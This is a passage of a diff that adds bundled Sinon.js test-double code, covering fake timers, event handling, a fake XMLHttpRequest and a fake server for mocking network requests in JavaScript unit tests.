+            if (parsed >= 60) {
+                throw new Error("Invalid time " + str);
+            }
+
+            ms += parsed * Math.pow(60, (l - i - 1));
+        }
+
+        return ms * 1000;
+    }
+
+    function createObject(object) {
+        var newObject;
+
+        if (Object.create) {
+            newObject = Object.create(object);
+        } else {
+            var F = function () {};
+            F.prototype = object;
+            newObject = new F();
+        }
+
+        newObject.Date.clock = newObject;
+        return newObject;
+    }
+
+    sinon.clock = {
+        now: 0,
+
+        create: function create(now) {
+            var clock = createObject(this);
+
+            if (typeof now == "number") {
+                clock.now = now;
+            }
+
+            if (!!now && typeof now == "object") {
+                throw new TypeError("now should be milliseconds since UNIX epoch");
+            }
+
+            return clock;
+        },
+
+        setTimeout: function setTimeout(callback, timeout) {
+            return addTimer.call(this, arguments, false);
+        },
+
+        clearTimeout: function clearTimeout(timerId) {
+            if (!this.timeouts) {
+                this.timeouts = [];
+            }
+
+            if (timerId in this.timeouts) {
+                delete this.timeouts[timerId];
+            }
+        },
+
+        setInterval: function setInterval(callback, timeout) {
+            return addTimer.call(this, arguments, true);
+        },
+
+        clearInterval: function clearInterval(timerId) {
+            this.clearTimeout(timerId);
+        },
+
+        setImmediate: function setImmediate(callback) {
+            var passThruArgs = Array.prototype.slice.call(arguments, 1);
+
+            return addTimer.call(this, [callback, 0].concat(passThruArgs), false);
+        },
+
+        clearImmediate: function clearImmediate(timerId) {
+            this.clearTimeout(timerId);
+        },
+
+        tick: function tick(ms) {
+            ms = typeof ms == "number" ? ms : parseTime(ms);
+            var tickFrom = this.now, tickTo = this.now + ms, previous = this.now;
+            var timer = this.firstTimerInRange(tickFrom, tickTo);
+
+            var firstException;
+            while (timer && tickFrom <= tickTo) {
+                if (this.timeouts[timer.id]) {
+                    tickFrom = this.now = timer.callAt;
+                    try {
+                      this.callTimer(timer);
+                    } catch (e) {
+                      firstException = firstException || e;
+                    }
+                }
+
+                timer = this.firstTimerInRange(previous, tickTo);
+                previous = tickFrom;
+            }
+
+            this.now = tickTo;
+
+            if (firstException) {
+              throw firstException;
+            }
+
+            return this.now;
+        },
+
+        firstTimerInRange: function (from, to) {
+            var timer, smallest = null, originalTimer;
+
+            for (var id in this.timeouts) {
+                if (this.timeouts.hasOwnProperty(id)) {
+                    if (this.timeouts[id].callAt < from || this.timeouts[id].callAt > to) {
+                        continue;
+                    }
+
+                    if (smallest === null || this.timeouts[id].callAt < smallest) {
+                        originalTimer = this.timeouts[id];
+                        smallest = this.timeouts[id].callAt;
+
+                        timer = {
+                            func: this.timeouts[id].func,
+                            callAt: this.timeouts[id].callAt,
+                            interval: this.timeouts[id].interval,
+                            id: this.timeouts[id].id,
+                            invokeArgs: this.timeouts[id].invokeArgs
+                        };
+                    }
+                }
+            }
+
+            return timer || null;
+        },
+
+        callTimer: function (timer) {
+            if (typeof timer.interval == "number") {
+                this.timeouts[timer.id].callAt += timer.interval;
+            } else {
+                delete this.timeouts[timer.id];
+            }
+
+            try {
+                if (typeof timer.func == "function") {
+                    timer.func.apply(null, timer.invokeArgs);
+                } else {
+                    eval(timer.func);
+                }
+            } catch (e) {
+              var exception = e;
+            }
+
+            if (!this.timeouts[timer.id]) {
+                if (exception) {
+                  throw exception;
+                }
+                return;
+            }
+
+            if (exception) {
+              throw exception;
+            }
+        },
+
+        reset: function reset() {
+            this.timeouts = {};
+        },
+
+        Date: (function () {
+            var NativeDate = Date;
+
+            function ClockDate(year, month, date, hour, minute, second, ms) {
+                // Defensive and verbose to avoid potential harm in passing
+                // explicit undefined when user does not pass argument
+                switch (arguments.length) {
+                case 0:
+                    return new NativeDate(ClockDate.clock.now);
+                case 1:
+                    return new NativeDate(year);
+                case 2:
+                    return new NativeDate(year, month);
+                case 3:
+                    return new NativeDate(year, month, date);
+                case 4:
+                    return new NativeDate(year, month, date, hour);
+                case 5:
+                    return new NativeDate(year, month, date, hour, minute);
+                case 6:
+                    return new NativeDate(year, month, date, hour, minute, second);
+                default:
+                    return new NativeDate(year, month, date, hour, minute, second, ms);
+                }
+            }
+
+            return mirrorDateProperties(ClockDate, NativeDate);
+        }())
+    };
+
+    function mirrorDateProperties(target, source) {
+        if (source.now) {
+            target.now = function now() {
+                return target.clock.now;
+            };
+        } else {
+            delete target.now;
+        }
+
+        if (source.toSource) {
+            target.toSource = function toSource() {
+                return source.toSource();
+            };
+        } else {
+            delete target.toSource;
+        }
+
+        target.toString = function toString() {
+            return source.toString();
+        };
+
+        target.prototype = source.prototype;
+        target.parse = source.parse;
+        target.UTC = source.UTC;
+        target.prototype.toUTCString = source.prototype.toUTCString;
+
+        for (var prop in source) {
+            if (source.hasOwnProperty(prop)) {
+                target[prop] = source[prop];
+            }
+        }
+
+        return target;
+    }
+
+    var methods = ["Date", "setTimeout", "setInterval",
+                   "clearTimeout", "clearInterval"];
+
+    if (typeof global.setImmediate !== "undefined") {
+        methods.push("setImmediate");
+    }
+
+    if (typeof global.clearImmediate !== "undefined") {
+        methods.push("clearImmediate");
+    }
+
+    function restore() {
+        var method;
+
+        for (var i = 0, l = this.methods.length; i < l; i++) {
+            method = this.methods[i];
+
+            if (global[method].hadOwnProperty) {
+                global[method] = this["_" + method];
+            } else {
+                try {
+                    delete global[method];
+                } catch (e) {}
+            }
+        }
+
+        // Prevent multiple executions which will completely remove these props
+        this.methods = [];
+    }
+
+    function stubGlobal(method, clock) {
+        clock[method].hadOwnProperty = Object.prototype.hasOwnProperty.call(global, method);
+        clock["_" + method] = global[method];
+
+        if (method == "Date") {
+            var date = mirrorDateProperties(clock[method], global[method]);
+            global[method] = date;
+        } else {
+            global[method] = function () {
+                return clock[method].apply(clock, arguments);
+            };
+
+            for (var prop in clock[method]) {
+                if (clock[method].hasOwnProperty(prop)) {
+                    global[method][prop] = clock[method][prop];
+                }
+            }
+        }
+
+        global[method].clock = clock;
+    }
+
+    sinon.useFakeTimers = function useFakeTimers(now) {
+        var clock = sinon.clock.create(now);
+        clock.restore = restore;
+        clock.methods = Array.prototype.slice.call(arguments,
+                                                   typeof now == "number" ? 1 : 0);
+
+        if (clock.methods.length === 0) {
+            clock.methods = methods;
+        }
+
+        for (var i = 0, l = clock.methods.length; i < l; i++) {
+            stubGlobal(clock.methods[i], clock);
+        }
+
+        return clock;
+    };
+}(typeof global != "undefined" && typeof global !== "function" ? global : this));
+
+sinon.timers = {
+    setTimeout: setTimeout,
+    clearTimeout: clearTimeout,
+    setImmediate: (typeof setImmediate !== "undefined" ? setImmediate : undefined),
+    clearImmediate: (typeof clearImmediate !== "undefined" ? clearImmediate: undefined),
+    setInterval: setInterval,
+    clearInterval: clearInterval,
+    Date: Date
+};
+
+if (typeof module !== 'undefined' && module.exports) {
+    module.exports = sinon;
+}
+
+/*jslint eqeqeq: false, onevar: false*/
+/*global sinon, module, require, ActiveXObject, XMLHttpRequest, DOMParser*/
+/**
+ * Minimal Event interface implementation
+ *
+ * Original implementation by Sven Fuchs: https://gist.github.com/995028
+ * Modifications and tests by Christian Johansen.
+ *
+ * @author Sven Fuchs (svenfuchs@artweb-design.de)
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2011 Sven Fuchs, Christian Johansen
+ */
+
+if (typeof sinon == "undefined") {
+    this.sinon = {};
+}
+
+(function () {
+    var push = [].push;
+
+    sinon.Event = function Event(type, bubbles, cancelable, target) {
+        this.initEvent(type, bubbles, cancelable, target);
+    };
+
+    sinon.Event.prototype = {
+        initEvent: function(type, bubbles, cancelable, target) {
+            this.type = type;
+            this.bubbles = bubbles;
+            this.cancelable = cancelable;
+            this.target = target;
+        },
+
+        stopPropagation: function () {},
+
+        preventDefault: function () {
+            this.defaultPrevented = true;
+        }
+    };
+
+    sinon.EventTarget = {
+        addEventListener: function addEventListener(event, listener) {
+            this.eventListeners = this.eventListeners || {};
+            this.eventListeners[event] = this.eventListeners[event] || [];
+            push.call(this.eventListeners[event], listener);
+        },
+
+        removeEventListener: function removeEventListener(event, listener) {
+            var listeners = this.eventListeners && this.eventListeners[event] || [];
+
+            for (var i = 0, l = listeners.length; i < l; ++i) {
+                if (listeners[i] == listener) {
+                    return listeners.splice(i, 1);
+                }
+            }
+        },
+
+        dispatchEvent: function dispatchEvent(event) {
+            var type = event.type;
+            var listeners = this.eventListeners && this.eventListeners[type] || [];
+
+            for (var i = 0; i < listeners.length; i++) {
+                if (typeof listeners[i] == "function") {
+                    listeners[i].call(this, event);
+                } else {
+                    listeners[i].handleEvent(event);
+                }
+            }
+
+            return !!event.defaultPrevented;
+        }
+    };
+}());
+
+/**
+ * @depend ../../sinon.js
+ * @depend event.js
+ */
+/*jslint eqeqeq: false, onevar: false*/
+/*global sinon, module, require, ActiveXObject, XMLHttpRequest, DOMParser*/
+/**
+ * Fake XMLHttpRequest object
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+// wrapper for global
+(function(global) {
+    if (typeof sinon === "undefined") {
+        global.sinon = {};
+    }
+
+    var supportsProgress = typeof ProgressEvent !== "undefined";
+    var supportsCustomEvent = typeof CustomEvent !== "undefined";
+    sinon.xhr = { XMLHttpRequest: global.XMLHttpRequest };
+    var xhr = sinon.xhr;
+    xhr.GlobalXMLHttpRequest = global.XMLHttpRequest;
+    xhr.GlobalActiveXObject = global.ActiveXObject;
+    xhr.supportsActiveX = typeof xhr.GlobalActiveXObject != "undefined";
+    xhr.supportsXHR = typeof xhr.GlobalXMLHttpRequest != "undefined";
+    xhr.workingXHR = xhr.supportsXHR ? xhr.GlobalXMLHttpRequest : xhr.supportsActiveX
+                                     ? function() { return new xhr.GlobalActiveXObject("MSXML2.XMLHTTP.3.0") } : false;
+    xhr.supportsCORS = 'withCredentials' in (new sinon.xhr.GlobalXMLHttpRequest());
+
+    /*jsl:ignore*/
+    var unsafeHeaders = {
+        "Accept-Charset": true,
+        "Accept-Encoding": true,
+        "Connection": true,
+        "Content-Length": true,
+        "Cookie": true,
+        "Cookie2": true,
+        "Content-Transfer-Encoding": true,
+        "Date": true,
+        "Expect": true,
+        "Host": true,
+        "Keep-Alive": true,
+        "Referer": true,
+        "TE": true,
+        "Trailer": true,
+        "Transfer-Encoding": true,
+        "Upgrade": true,
+        "User-Agent": true,
+        "Via": true
+    };
+    /*jsl:end*/
+
+    function FakeXMLHttpRequest() {
+        this.readyState = FakeXMLHttpRequest.UNSENT;
+        this.requestHeaders = {};
+        this.requestBody = null;
+        this.status = 0;
+        this.statusText = "";
+        this.upload = new UploadProgress();
+        if (sinon.xhr.supportsCORS) {
+            this.withCredentials = false;
+        }
+
+
+        var xhr = this;
+        var events = ["loadstart", "load", "abort", "loadend"];
+
+        function addEventListener(eventName) {
+            xhr.addEventListener(eventName, function (event) {
+                var listener = xhr["on" + eventName];
+
+                if (listener && typeof listener == "function") {
+                    listener(event);
+                }
+            });
+        }
+
+        for (var i = events.length - 1; i >= 0; i--) {
+            addEventListener(events[i]);
+        }
+
+        if (typeof FakeXMLHttpRequest.onCreate == "function") {
+            FakeXMLHttpRequest.onCreate(this);
+        }
+    }
+
+    // An upload object is created for each
+    // FakeXMLHttpRequest and allows upload
+    // events to be simulated using uploadProgress
+    // and uploadError.
+    function UploadProgress() {
+        this.eventListeners = {
+            "progress": [],
+            "load": [],
+            "abort": [],
+            "error": []
+        }
+    }
+
+    UploadProgress.prototype.addEventListener = function(event, listener) {
+        this.eventListeners[event].push(listener);
+    };
+
+    UploadProgress.prototype.removeEventListener = function(event, listener) {
+        var listeners = this.eventListeners[event] || [];
+
+        for (var i = 0, l = listeners.length; i < l; ++i) {
+            if (listeners[i] == listener) {
+                return listeners.splice(i, 1);
+            }
+        }
+    };
+
+    UploadProgress.prototype.dispatchEvent = function(event) {
+        var listeners = this.eventListeners[event.type] || [];
+
+        for (var i = 0, listener; (listener = listeners[i]) != null; i++) {
+            listener(event);
+        }
+    };
+
+    function verifyState(xhr) {
+        if (xhr.readyState !== FakeXMLHttpRequest.OPENED) {
+            throw new Error("INVALID_STATE_ERR");
+        }
+
+        if (xhr.sendFlag) {
+            throw new Error("INVALID_STATE_ERR");
+        }
+    }
+
+    // filtering to enable a white-list version of Sinon FakeXhr,
+    // where whitelisted requests are passed through to real XHR
+    function each(collection, callback) {
+        if (!collection) return;
+        for (var i = 0, l = collection.length; i < l; i += 1) {
+            callback(collection[i]);
+        }
+    }
+    function some(collection, callback) {
+        for (var index = 0; index < collection.length; index++) {
+            if(callback(collection[index]) === true) return true;
+        }
+        return false;
+    }
+    // largest arity in XHR is 5 - XHR#open
+    var apply = function(obj,method,args) {
+        switch(args.length) {
+        case 0: return obj[method]();
+        case 1: return obj[method](args[0]);
+        case 2: return obj[method](args[0],args[1]);
+        case 3: return obj[method](args[0],args[1],args[2]);
+        case 4: return obj[method](args[0],args[1],args[2],args[3]);
+        case 5: return obj[method](args[0],args[1],args[2],args[3],args[4]);
+        }
+    };
+
+    FakeXMLHttpRequest.filters = [];
+    FakeXMLHttpRequest.addFilter = function(fn) {
+        this.filters.push(fn)
+    };
+    var IE6Re = /MSIE 6/;
+    FakeXMLHttpRequest.defake = function(fakeXhr,xhrArgs) {
+        var xhr = new sinon.xhr.workingXHR();
+        each(["open","setRequestHeader","send","abort","getResponseHeader",
+              "getAllResponseHeaders","addEventListener","overrideMimeType","removeEventListener"],
+             function(method) {
+                 fakeXhr[method] = function() {
+                   return apply(xhr,method,arguments);
+                 };
+             });
+
+        var copyAttrs = function(args) {
+            each(args, function(attr) {
+              try {
+                fakeXhr[attr] = xhr[attr]
+              } catch(e) {
+                if(!IE6Re.test(navigator.userAgent)) throw e;
+              }
+            });
+        };
+
+        var stateChange = function() {
+            fakeXhr.readyState = xhr.readyState;
+            if(xhr.readyState >= FakeXMLHttpRequest.HEADERS_RECEIVED) {
+                copyAttrs(["status","statusText"]);
+            }
+            if(xhr.readyState >= FakeXMLHttpRequest.LOADING) {
+                copyAttrs(["responseText"]);
+            }
+            if(xhr.readyState === FakeXMLHttpRequest.DONE) {
+                copyAttrs(["responseXML"]);
+            }
+            if(fakeXhr.onreadystatechange) fakeXhr.onreadystatechange.call(fakeXhr, { target: fakeXhr });
+        };
+        if(xhr.addEventListener) {
+          for(var event in fakeXhr.eventListeners) {
+              if(fakeXhr.eventListeners.hasOwnProperty(event)) {
+                  each(fakeXhr.eventListeners[event],function(handler) {
+                      xhr.addEventListener(event, handler);
+                  });
+              }
+          }
+          xhr.addEventListener("readystatechange",stateChange);
+        } else {
+          xhr.onreadystatechange = stateChange;
+        }
+        apply(xhr,"open",xhrArgs);
+    };
+    FakeXMLHttpRequest.useFilters = false;
+
+    function verifyRequestSent(xhr) {
+        if (xhr.readyState == FakeXMLHttpRequest.DONE) {
+            throw new Error("Request done");
+        }
+    }
+
+    function verifyHeadersReceived(xhr) {
+        if (xhr.async && xhr.readyState != FakeXMLHttpRequest.HEADERS_RECEIVED) {
+            throw new Error("No headers received");
+        }
+    }
+
+    function verifyResponseBodyType(body) {
+        if (typeof body != "string") {
+            var error = new Error("Attempted to respond to fake XMLHttpRequest with " +
+                                 body + ", which is not a string.");
+            error.name = "InvalidBodyException";
+            throw error;
+        }
+    }
+
+    sinon.extend(FakeXMLHttpRequest.prototype, sinon.EventTarget, {
+        async: true,
+
+        open: function open(method, url, async, username, password) {
+            this.method = method;
+            this.url = url;
+            this.async = typeof async == "boolean" ? async : true;
+            this.username = username;
+            this.password = password;
+            this.responseText = null;
+            this.responseXML = null;
+            this.requestHeaders = {};
+            this.sendFlag = false;
+            if(sinon.FakeXMLHttpRequest.useFilters === true) {
+                var xhrArgs = arguments;
+                var defake = some(FakeXMLHttpRequest.filters,function(filter) {
+                    return filter.apply(this,xhrArgs)
+                });
+                if (defake) {
+                  return sinon.FakeXMLHttpRequest.defake(this,arguments);
+                }
+            }
+            this.readyStateChange(FakeXMLHttpRequest.OPENED);
+        },
+
+        readyStateChange: function readyStateChange(state) {
+            this.readyState = state;
+
+            if (typeof this.onreadystatechange == "function") {
+                try {
+                    this.onreadystatechange();
+                } catch (e) {
+                    sinon.logError("Fake XHR onreadystatechange handler", e);
+                }
+            }
+
+            this.dispatchEvent(new sinon.Event("readystatechange"));
+
+            switch (this.readyState) {
+                case FakeXMLHttpRequest.DONE:
+                    this.dispatchEvent(new sinon.Event("load", false, false, this));
+                    this.dispatchEvent(new sinon.Event("loadend", false, false, this));
+                    this.upload.dispatchEvent(new sinon.Event("load", false, false, this));
+                    if (supportsProgress) {
+                        this.upload.dispatchEvent(new ProgressEvent("progress", {loaded: 100, total: 100}));
+                    }
+                    break;
+            }
+        },
+
+        setRequestHeader: function setRequestHeader(header, value) {
+            verifyState(this);
+
+            if (unsafeHeaders[header] || /^(Sec-|Proxy-)/.test(header)) {
+                throw new Error("Refused to set unsafe header \"" + header + "\"");
+            }
+
+            if (this.requestHeaders[header]) {
+                this.requestHeaders[header] += "," + value;
+            } else {
+                this.requestHeaders[header] = value;
+            }
+        },
+
+        // Helps testing
+        setResponseHeaders: function setResponseHeaders(headers) {
+            this.responseHeaders = {};
+
+            for (var header in headers) {
+                if (headers.hasOwnProperty(header)) {
+                    this.responseHeaders[header] = headers[header];
+                }
+            }
+
+            if (this.async) {
+                this.readyStateChange(FakeXMLHttpRequest.HEADERS_RECEIVED);
+            } else {
+                this.readyState = FakeXMLHttpRequest.HEADERS_RECEIVED;
+            }
+        },
+
+        // Currently treats ALL data as a DOMString (i.e. no Document)
+        send: function send(data) {
+            verifyState(this);
+
+            if (!/^(get|head)$/i.test(this.method)) {
+                if (this.requestHeaders["Content-Type"]) {
+                    var value = this.requestHeaders["Content-Type"].split(";");
+                    this.requestHeaders["Content-Type"] = value[0] + ";charset=utf-8";
+                } else {
+                    this.requestHeaders["Content-Type"] = "text/plain;charset=utf-8";
+                }
+
+                this.requestBody = data;
+            }
+
+            this.errorFlag = false;
+            this.sendFlag = this.async;
+            this.readyStateChange(FakeXMLHttpRequest.OPENED);
+
+            if (typeof this.onSend == "function") {
+                this.onSend(this);
+            }
+
+            this.dispatchEvent(new sinon.Event("loadstart", false, false, this));
+        },
+
+        abort: function abort() {
+            this.aborted = true;
+            this.responseText = null;
+            this.errorFlag = true;
+            this.requestHeaders = {};
+
+            if (this.readyState > sinon.FakeXMLHttpRequest.UNSENT && this.sendFlag) {
+                this.readyStateChange(sinon.FakeXMLHttpRequest.DONE);
+                this.sendFlag = false;
+            }
+
+            this.readyState = sinon.FakeXMLHttpRequest.UNSENT;
+
+            this.dispatchEvent(new sinon.Event("abort", false, false, this));
+
+            this.upload.dispatchEvent(new sinon.Event("abort", false, false, this));
+
+            if (typeof this.onerror === "function") {
+                this.onerror();
+            }
+        },
+
+        getResponseHeader: function getResponseHeader(header) {
+            if (this.readyState < FakeXMLHttpRequest.HEADERS_RECEIVED) {
+                return null;
+            }
+
+            if (/^Set-Cookie2?$/i.test(header)) {
+                return null;
+            }
+
+            header = header.toLowerCase();
+
+            for (var h in this.responseHeaders) {
+                if (h.toLowerCase() == header) {
+                    return this.responseHeaders[h];
+                }
+            }
+
+            return null;
+        },
+
+        getAllResponseHeaders: function getAllResponseHeaders() {
+            if (this.readyState < FakeXMLHttpRequest.HEADERS_RECEIVED) {
+                return "";
+            }
+
+            var headers = "";
+
+            for (var header in this.responseHeaders) {
+                if (this.responseHeaders.hasOwnProperty(header) &&
+                    !/^Set-Cookie2?$/i.test(header)) {
+                    headers += header + ": " + this.responseHeaders[header] + "\r\n";
+                }
+            }
+
+            return headers;
+        },
+
+        setResponseBody: function setResponseBody(body) {
+            verifyRequestSent(this);
+            verifyHeadersReceived(this);
+            verifyResponseBodyType(body);
+
+            var chunkSize = this.chunkSize || 10;
+            var index = 0;
+            this.responseText = "";
+
+            do {
+                if (this.async) {
+                    this.readyStateChange(FakeXMLHttpRequest.LOADING);
+                }
+
+                this.responseText += body.substring(index, index + chunkSize);
+                index += chunkSize;
+            } while (index < body.length);
+
+            var type = this.getResponseHeader("Content-Type");
+
+            if (this.responseText &&
+                (!type || /(text\/xml)|(application\/xml)|(\+xml)/.test(type))) {
+                try {
+                    this.responseXML = FakeXMLHttpRequest.parseXML(this.responseText);
+                } catch (e) {
+                    // Unable to parse XML - no biggie
+                }
+            }
+
+            if (this.async) {
+                this.readyStateChange(FakeXMLHttpRequest.DONE);
+            } else {
+                this.readyState = FakeXMLHttpRequest.DONE;
+            }
+        },
+
+        respond: function respond(status, headers, body) {
+            this.status = typeof status == "number" ? status : 200;
+            this.statusText = FakeXMLHttpRequest.statusCodes[this.status];
+            this.setResponseHeaders(headers || {});
+            this.setResponseBody(body || "");
+        },
+
+        uploadProgress: function uploadProgress(progressEventRaw) {
+            if (supportsProgress) {
+                this.upload.dispatchEvent(new ProgressEvent("progress", progressEventRaw));
+            }
+        },
+
+        uploadError: function uploadError(error) {
+            if (supportsCustomEvent) {
+                this.upload.dispatchEvent(new CustomEvent("error", {"detail": error}));
+            }
+        }
+    });
+
+    sinon.extend(FakeXMLHttpRequest, {
+        UNSENT: 0,
+        OPENED: 1,
+        HEADERS_RECEIVED: 2,
+        LOADING: 3,
+        DONE: 4
+    });
+
+    // Borrowed from JSpec
+    FakeXMLHttpRequest.parseXML = function parseXML(text) {
+        var xmlDoc;
+
+        if (typeof DOMParser != "undefined") {
+            var parser = new DOMParser();
+            xmlDoc = parser.parseFromString(text, "text/xml");
+        } else {
+            xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
+            xmlDoc.async = "false";
+            xmlDoc.loadXML(text);
+        }
+
+        return xmlDoc;
+    };
+
+    FakeXMLHttpRequest.statusCodes = {
+        100: "Continue",
+        101: "Switching Protocols",
+        200: "OK",
+        201: "Created",
+        202: "Accepted",
+        203: "Non-Authoritative Information",
+        204: "No Content",
+        205: "Reset Content",
+        206: "Partial Content",
+        300: "Multiple Choice",
+        301: "Moved Permanently",
+        302: "Found",
+        303: "See Other",
+        304: "Not Modified",
+        305: "Use Proxy",
+        307: "Temporary Redirect",
+        400: "Bad Request",
+        401: "Unauthorized",
+        402: "Payment Required",
+        403: "Forbidden",
+        404: "Not Found",
+        405: "Method Not Allowed",
+        406: "Not Acceptable",
+        407: "Proxy Authentication Required",
+        408: "Request Timeout",
+        409: "Conflict",
+        410: "Gone",
+        411: "Length Required",
+        412: "Precondition Failed",
+        413: "Request Entity Too Large",
+        414: "Request-URI Too Long",
+        415: "Unsupported Media Type",
+        416: "Requested Range Not Satisfiable",
+        417: "Expectation Failed",
+        422: "Unprocessable Entity",
+        500: "Internal Server Error",
+        501: "Not Implemented",
+        502: "Bad Gateway",
+        503: "Service Unavailable",
+        504: "Gateway Timeout",
+        505: "HTTP Version Not Supported"
+    };
+
+    sinon.useFakeXMLHttpRequest = function () {
+        sinon.FakeXMLHttpRequest.restore = function restore(keepOnCreate) {
+            if (xhr.supportsXHR) {
+                global.XMLHttpRequest = xhr.GlobalXMLHttpRequest;
+            }
+
+            if (xhr.supportsActiveX) {
+                global.ActiveXObject = xhr.GlobalActiveXObject;
+            }
+
+            delete sinon.FakeXMLHttpRequest.restore;
+
+            if (keepOnCreate !== true) {
+                delete sinon.FakeXMLHttpRequest.onCreate;
+            }
+        };
+        if (xhr.supportsXHR) {
+            global.XMLHttpRequest = sinon.FakeXMLHttpRequest;
+        }
+
+        if (xhr.supportsActiveX) {
+            global.ActiveXObject = function ActiveXObject(objId) {
+                if (objId == "Microsoft.XMLHTTP" || /^Msxml2\.XMLHTTP/i.test(objId)) {
+
+                    return new sinon.FakeXMLHttpRequest();
+                }
+
+                return new xhr.GlobalActiveXObject(objId);
+            };
+        }
+
+        return sinon.FakeXMLHttpRequest;
+    };
+
+    sinon.FakeXMLHttpRequest = FakeXMLHttpRequest;
+
+})(typeof global === "object" ? global : this);
+
+if (typeof module !== 'undefined' && module.exports) {
+    module.exports = sinon;
+}
+
+/**
+ * @depend fake_xml_http_request.js
+ */
+/*jslint eqeqeq: false, onevar: false, regexp: false, plusplus: false*/
+/*global module, require, window*/
+/**
+ * The Sinon "server" mimics a web server that receives requests from
+ * sinon.FakeXMLHttpRequest and provides an API to respond to those requests,
+ * both synchronously and asynchronously. To respond synchronuously, canned
+ * answers have to be provided upfront.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+if (typeof sinon == "undefined") {
+    var sinon = {};
+}
+
+sinon.fakeServer = (function () {
+    var push = [].push;
+    function F() {}
+
+    function create(proto) {
+        F.prototype = proto;
+        return new F();
+    }
+
+    function responseArray(handler) {
+        var response = handler;
+
+        if (Object.prototype.toString.call(handler) != "[object Array]") {
+            response = [200, {}, handler];
+        }
+
+        if (typeof response[2] != "string") {
+            throw new TypeError("Fake server response body should be string, but was " +
+                                typeof response[2]);
+        }
+
+        return response;
+    }
+
+    var wloc = typeof window !== "undefined" ? window.location : {};
+    var rCurrLoc = new RegExp("^" + wloc.protocol + "//" + wloc.host);
+
+    function matchOne(response, reqMethod, reqUrl) {
+        var rmeth = response.method;
+        var matchMethod = !rmeth || rmeth.toLowerCase() == reqMethod.toLowerCase();
+        var url = response.url;
+        var matchUrl = !url || url == reqUrl || (typeof url.test == "function" && url.test(reqUrl));
+
+        return matchMethod && matchUrl;
+    }
+
+    function match(response, request) {
+        var requestUrl = request.url;
+
+        if (!/^https?:\/\//.test(requestUrl) || rCurrLoc.test(requestUrl)) {
+            requestUrl = requestUrl.replace(rCurrLoc, "");
+        }
+
+        if (matchOne(response, this.getHTTPMethod(request), requestUrl)) {
+            if (typeof response.response == "function") {
+                var ru = response.url;
+                var args = [request].concat(ru && typeof ru.exec == "function" ? ru.exec(requestUrl).slice(1) : []);
+                return response.response.apply(response, args);
+            }
+
+            return true;
+        }
+
+        return false;
+    }
+
+    function log(response, request) {
+        var str;
+
+        str =  "Request:\n"  + sinon.format(request)  + "\n\n";
+        str += "Response:\n" + sinon.format(response) + "\n\n";
+
+        sinon.log(str);
+    }
+
+    return {
+        create: function () {
+            var server = create(this);
+            this.xhr = sinon.useFakeXMLHttpRequest();
+            server.requests = [];
+
+            this.xhr.onCreate = function (xhrObj) {
+                server.addRequest(xhrObj);
+            };
+
+            return server;
+        },
+
+        addRequest: function addRequest(xhrObj) {
+            var server = this;
+            push.call(this.requests, xhrObj);
+
+            xhrObj.onSend = function () {
+                server.handleRequest(this);
+
+                if (server.autoRespond && !server.responding) {
+                    setTimeout(function () {
+                        server.responding = false;
+                        server.respond();
+                    }, server.autoRespondAfter || 10);
+
+                    server.responding = true;
+                }
+            };
+        },
+
+        getHTTPMethod: function getHTTPMethod(request) {
+            if (this.fakeHTTPMethods && /post/i.test(request.method)) {
+                var matches = (request.requestBody || "").match(/_method=([^\b;]+)/);
+                return !!matches ? matches[1] : request.method;
+            }
+
+            return request.method;
+        },
+
+        handleRequest: function handleRequest(xhr) {
+            if (xhr.async) {
+                if (!this.queue) {
+                    this.queue = [];
+                }
+
+                push.call(this.queue, xhr);
+            } else {
+                this.processRequest(xhr);
+            }
+        },
+
+        respondWith: function respondWith(method, url, body) {
+            if (arguments.length == 1 && typeof method != "function") {
+                this.response = responseArray(method);
+                return;
+            }
+
+            if (!this.responses) { this.responses = []; }
+
+            if (arguments.length == 1) {
+                body = method;
+                url = method = null;
+            }
+
+            if (arguments.length == 2) {
+                body = url;
+                url = method;
+                method = null;
+            }
+
+            push.call(this.responses, {
+                method: method,
+                url: url,
+                response: typeof body == "function" ? body : responseArray(body)
+            });
+        },
+
+        respond: function respond() {
+            if (arguments.length > 0) this.respondWith.apply(this, arguments);
+            var queue = this.queue || [];
+            var requests = queue.splice(0);
+            var request;
+
+            while(request = requests.shift()) {
+                this.processRequest(request);
+            }
+        },
+
+        processRequest: function processRequest(request) {
+            try {
+                if (request.aborted) {
+                    return;
+                }
+
+                var response = this.response || [404, {}, ""];
+
+                if (this.responses) {
+                    for (var l = this.responses.length, i = l - 1; i >= 0; i--) {
+                        if (match.call(this, this.responses[i], request)) {
+                            response = this.responses[i].response;
+                            break;
+                        }
+                    }
+                }
+
+                if (request.readyState != 4) {
+                    log(response, request);
+
+                    request.respond(response[0], response[1], response[2]);
+                }
+            } catch (e) {
+                sinon.logError("Fake server request processing", e);
+            }
+        },
+
+        restore: function restore() {
+            return this.xhr.restore && this.xhr.restore.apply(this.xhr, arguments);
+        }
+    };
+}());
+
+if (typeof module !== 'undefined' && module.exports) {
+    module.exports = sinon;
+}
+
+/**
+ * @depend fake_server.js
+ * @depend fake_timers.js
+ */
+/*jslint browser: true, eqeqeq: false, onevar: false*/
+/*global sinon*/
+/**
+ * Add-on for sinon.fakeServer that automatically handles a fake timer along with
+ * the FakeXMLHttpRequest. The direct inspiration for this add-on is jQuery
+ * 1.3.x, which does not use xhr object's onreadystatehandler at all - instead,
+ * it polls the object for completion with setInterval. Dispite the direct
+ * motivation, there is nothing jQuery-specific in this file, so it can be used
+ * in any environment where the ajax implementation depends on setInterval or
+ * setTimeout.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function () {
+    function Server() {}
+    Server.prototype = sinon.fakeServer;
+
+    sinon.fakeServerWithClock = new Server();
+
+    sinon.fakeServerWithClock.addRequest = function addRequest(xhr) {
+        if (xhr.async) {
+            if (typeof setTimeout.clock == "object") {
+                this.clock = setTimeout.clock;
+            } else {
+                this.clock = sinon.useFakeTimers();
+                this.resetClock = true;
+            }
+
+            if (!this.longestTimeout) {
+                var clockSetTimeout = this.clock.setTimeout;
+                var clockSetInterval = this.clock.setInterval;
+                var server = this;
+
+                this.clock.setTimeout = function (fn, timeout) {
